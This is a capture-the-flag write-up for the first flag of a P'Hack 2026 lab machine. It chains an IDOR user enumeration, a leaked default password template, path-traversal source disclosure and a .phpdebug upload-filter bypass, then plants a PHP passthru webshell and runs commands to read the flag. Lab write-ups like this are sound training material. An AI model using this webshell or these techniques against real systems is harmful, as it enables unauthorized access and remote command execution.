Three-flag machine at P’Hack 2026. This covers flag 1.

Foothold

Landing on the website we get a Request Access button. Inside is a small note about how to get an account, and a path that immediately stands out:

/api/account-card.php?uid=1

Classic IDOR. The uid parameter is user-controlled and maps straight to an account record. We enumerate upward and pull two interesting candidates:

{
    "uid": 3,
    "username": "ops.viewer",
    "role": "auditor",
    "state": "active",
    "created_at": "2024-06-18 11:42:00"
}
{
    "uid": 15,
    "username": "ryan.clark",
    "role": "auditor",
    "state": "active",
    "created_at": "2026-01-13 11:21:00"
}

Back on the request access page, we check the HTML source:

<!-- Dafaut Temp Password : PanSec@55-YYYY -->

A hardcoded default password template left in a comment. YYYY is clearly a year placeholder. We try both auditor accounts with PanSec@55-2026 and PanSec@55-2024, nothing. The logic here is that temp passwords apply to newly created accounts. We look for the most recently created user, which sits right after ryan.clark:

{
    "uid": 16,
    "username": "nora.lee",
    "role": "partner",
    "state": "active",
    "created_at": "2026-03-18 09:41:00"
}
nora.lee:PanSec@55-2026

It works. We’re in.

Path traversal to source disclosure

Once logged in we land on a document reader. The URL gives it away immediately:

http://pentest.amsi.local:60010/viewer.php?page=article1.txt

The page parameter looks like a raw file include. The app also has an Asset Upload page but PHP is blocked. Since the API endpoint we found earlier was a PHP file, we try reading it through the viewer:

http://pentest.amsi.local:60010/viewer.php?page=../api/account-card.php

It dumps the source. Inside we find:

require dirname(__DIR__) . '/includes/bootstrap.php';

We follow that path the same way. bootstrap.php doesn’t have much, but it does reveal the real path to the upload handler:

$links[] = sprintf('<a href="/upload.php"%s>Asset Upload</a>', ...);

So we read upload.php next:

http://pentest.amsi.local:60010/viewer.php?page=../upload.php

Right there in the source:

$allowedLegacyCompat = ['phpdebug'];

The upload filter blocks .php but leaves a legacy extension bypass open. .phpdebug files execute as PHP.

Webshell & flag

We upload a standard one-liner as payload.phpdebug:

<?php echo passthru($_GET['cmd']); ?>

It lands in the upload directory. We hit it with cmd=id to confirm execution, then enumerate the filesystem:

cmd=ls ..

Several folders. One stands out: data. Inside:

flag_wwwdata.txt
cmd=cat ../data/flag_wwwdata.txt

Flag 1 down.